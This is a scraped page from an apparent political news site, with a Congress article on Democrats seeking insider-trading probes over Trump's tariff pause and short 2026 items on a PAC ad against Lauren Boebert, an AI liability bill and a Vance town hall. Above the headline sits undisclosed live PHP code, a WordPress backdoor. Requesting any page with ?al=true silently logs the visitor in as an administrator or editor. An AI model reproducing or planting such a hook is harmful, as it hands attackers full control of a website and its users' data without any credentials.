// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Democrats go all in on unproven insider trading allegations as they target Trump’s tariffs – Blue Light News
Connect with us

Congress

Democrats go all in on unproven insider trading allegations as they target Trump’s tariffs

Published

1 year ago

on

Congressional Democrats are raising increasingly pointed concerns about potential financial malfeasance by President Donald Trump and his allies surrounding his dramatic recent tariff moves, despite a lack of evidence of wrongdoing.

Senate Minority Leader Chuck Schumer on Friday joined the growing number of Democrats formally calling for investigations zeroing in on the wild swings in the stock market amid Trump’s escalating trade war. It’s one of the central messages the party has coalesced around in the 48 hours since Trump partially reversed his implementation of sweeping trade barriers.

Trump on Wednesday morning posted to Truth Social that it was a “GREAT TIME TO BUY” despite the chaos within the financial markets. Hours later, Trump announced he was pausing the most sweeping global tariffs for 90 days, causing a temporary but dramatic stock market rally.

Some Democrats quickly questioned whether there was financial gain to be had amid the market whiplash, though no evidence has emerged of insider trading or other wrongdoing, and top party leaders have now followed suit.

In the latest salvo, Schumer joined Sens. Elizabeth Warren (D-Mass.), Mark Kelly (D-Ariz.), Ruben Gallego (D-Ariz.), Adam Schiff (D-Calif.), Ron Wyden (D-Ore.) and Schumer in requesting SEC Chair Paul Atkins to launch an investigation into where Trump or those around him “engaged in insider trading, market manipulation, or other securities laws violations.”

“It is unconscionable that as American families are concerned about their financial security during this economic crisis entirely manufactured by the President, insiders may have actively profited from the market volatility and potentially perpetrated financial fraud on the American public,” the senators said in the letter.

The White House accused Democrats of “playing partisan games instead of celebrating President Trump’s decisive action yesterday to finally corner China,” according to a statement from spokesperson Kush Desai provided to media organizations. Trump, he added, was seeking “to reassure the markets and Americans about their economic security in the face of nonstop media fearmongering.”

In a separate letter Friday, Schumer, Schiff, Warren and Wyden sent a letter requesting state attorneys general also launch investigations into any potential violations of state laws, including by members of Congress.

“We do not make this request lightly. No one — not even a president — is above the law. … Any proven misconduct must be prosecuted and punished to the fullest extent permitted by the laws of your states,” they added.

The senators’ actions followed two days of increasingly strident reactions from top House Democrats.

“We need to get to the bottom of the possible stock manipulation unfolding before the American people — including what, if any, advance knowledge members of the House Republican Conference had of Trump’s decision to pause the reckless tariffs he put in place,” House Minority Leader Hakeem Jeffries told reporters Thursday.

As the minority party in both chambers, there aren’t many options available for Democrats to force an investigation —- they don’t hold committee gavels, and they have limited avenues for getting legislation considered.

Rep. Alexandria Ocasio-Cortez (D-N.Y.) said she and her colleagues were discussing “several options” including a discharge petition to force a vote on a congressional stock trading ban, though that effort faces an uphill climb after previous attempts to ban congressional stock trading have fizzled out.

The disclosure of lawmakers’ stock trades has presented a perennial ethics issue for members of Congress. Any trades that happened around the tariff-induced market swings must be publicly disclosed through congressional ethics authorities by May 15.

Related Topics:
Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Congress

Clean energy group sets its sights on a new GOP target: Lauren Boebert

Published

6 hours ago

on

October 7, 2026

By

A clean energy group is launching a $1.5 million spend against Rep. Lauren Boebert (R-Colo.), its latest effort this midterm cycle targeting Republicans who actively work against renewables.

The Invest in Tomorrow Coalition’s first ad in the spend, which was obtained by Blue Light News, focuses on an embarrassing incident for Boebert: when she was ejected from a live musical performance of “Beetlejuice” for allegedly vaping, singing and recording the show.

“If Lauren Boebert can’t be trusted in a room full of kids, then she can’t be trusted in the halls of Congress,” the ad says.

The spot makes no mention of clean energy or Boebert’s attacks on the so-called “Green New Scam.” The strategy mimics the group’s previous playbook that it has deployed to help defeat Reps. Andy Ogles (R-Tenn.) Chip Roy (R-Texas) and Ralph Norman (R-S.C.) in their Republican primaries earlier this year, as the latter two sought statewide office. The PAC had tried to paint Ogles as an absentee member of Congress and Roy as insufficiently MAGA.

The group, which is backed by solar executives, has become an increasingly forceful player this cycle, which has seen a massive influx of outside spending.

“This industry has been villainized and used as a punching bag at times by the right, and the industry hasn’t always punched back,” said Chris Coffey, the CEO of Tusk Strategies, which is helping run the group. “Maybe when they’re deciding who to villainize next year, they will at least be like, ‘You know what? I don’t need problems with those guys.’”

Boebert’s district is historically deeply red. But Invest in Tomorrow also commissioned a poll, which shows she is underwater: 39% of likely voters view her favorably and 55% view her unfavorably. It also found Boebert leading the district’s Democratic nominee Eileen Laubacher by 5 points.

The poll, conducted by Impact Research from Sept. 21 to 24, polled 403 likely voters and had a margin of error of ±4.8%.

Continue Reading

Congress

Trahan unveils AI liability discussion draft

Published

13 hours ago

on

October 7, 2026

By

Rep. Lori Trahan on Wednesday unveiled a discussion draft for a bill that would make artificial intelligence developers liable when their products cause harm.

The legislation comes after OpenAI’s agents escaped containment and autonomously hacked into AI platform Hugging Face and accessed U.S. government websites.

The Clear Liability for Artificial Intelligence Misconduct Act aims to make it easier for those harmed by so-called rogue AI to bring claims against developers. Trahan’s bill does not preempt new state laws on AI liability — historically a prerequisite for attracting Republican support in the House.

“When someone breaks the law and hurts you, you can take them to court. That shouldn’t change just because the wrongdoer is an AI agent,” Trahan (D-Mass.) said in a statement. “Developers have already built systems capable of acting on their own and causing real damage. The CLAIM Act makes sure they answer for what their systems do.”

Legal experts have warned that existing laws require proof of intent or negligence, standards that can be difficult to show in court when AI models go rogue.

Trahan’s bill would ensure AI developers are unable to argue that their AI systems are incapable of intent. Instead, courts “would presume an AI system acted with the state of mind a person taking the same actions would have had.”

Trahan spokesperson Francis Grubar said work on the CLAIM Act began almost immediately after theJuly introduction of the FRONTIER Act, legislation with Rep. Jay Obernolte (R-Calif.) that would grant the government power to restrict the deployment of AI models deemed to pose catastrophic risks. While that bill aims to prevent serious harms before they happen, Grubar said the CLAIM Act would address how to impose accountability for existing damages.

Unlike an AI liability proposal announced last week by Sens. Josh Hawley (R-Mo.) and Chris Murphy (D-Conn.), Trahan’s legislation would not amend the 1986 Computer Fraud and Abuse Act. Grubar said the CLAIM Act would instead impose clearer liability on a broader range of harms, as well as autonomous or AI-enabled cyberattacks.

The CFFA, an anti-hacking law that bars individuals from accessing a computer without consent, requires proof of intent to hack into a computer system, which can’t be as easily applied to AI agents.

The Hugging Face incident, along with a flurry of other disclosed hacking incidents by rogue AI agents from OpenAI and other AI developers, has sparked a debate over how companies should be held legally liable for their AI systems.

OpenAI CEO Sam Altman, in an interview with Blue Light News’s Decoded podcast, said there should be a new “liability framework” to hold developers accountable for AI-powered cyberattacks. His comments come after White House officials like Director of National Intelligence Jay Clayton, who was recently appointed as AI czar by President Donald Trump, previously said that existing product liability laws are sufficient for now in addressing AI’s risks.

Continue Reading

Congress

Vance to sit for CBS town hall in Michigan ahead of midterms

Published

13 hours ago

on

October 7, 2026

By

Vice President JD Vance will take questions from Michigan voters in a CBS News town hall airing Oct. 17 as the Trump administration prepares a closing message to voters ahead of the midterms.

The town hall comes amid a blitz of campaign events for Vance and President Donald Trump as their party faces multiple headwinds that could cost them control of the House and Senate.

Michigan’s Senate contest between Democrat Abdul El-Sayed and Republican Mike Rogers has become one of the cycle’s closely watched battleground contests. Michigan also has several competitive House races and will elect a new governor for the first time in eight years.

Vance campaigned in Michigan with Rogers, gubernatorial nominee John James and Mike Bouchard Jr., the GOP nominee in the 10th Congressional District, at an Aug. 31 rally in Sterling Heights. Rep. Lisa McClain also appeared at the event.

The one-hour special, moderated by “CBS Evening News” anchor Tony Dokoupil, will be recorded earlier in the week. Vance and Dokoupil will discuss issues facing voters, including affordability, tariffs, immigration, health care, artificial intelligence, the war with Iran and the state of American democracy, according to CBS News.

The two were scheduled for a town hall interview in March, but the vice president postponed due to the war with Iran.

The vice president’s office did not immediately respond to a request for comment.

Continue Reading

Trending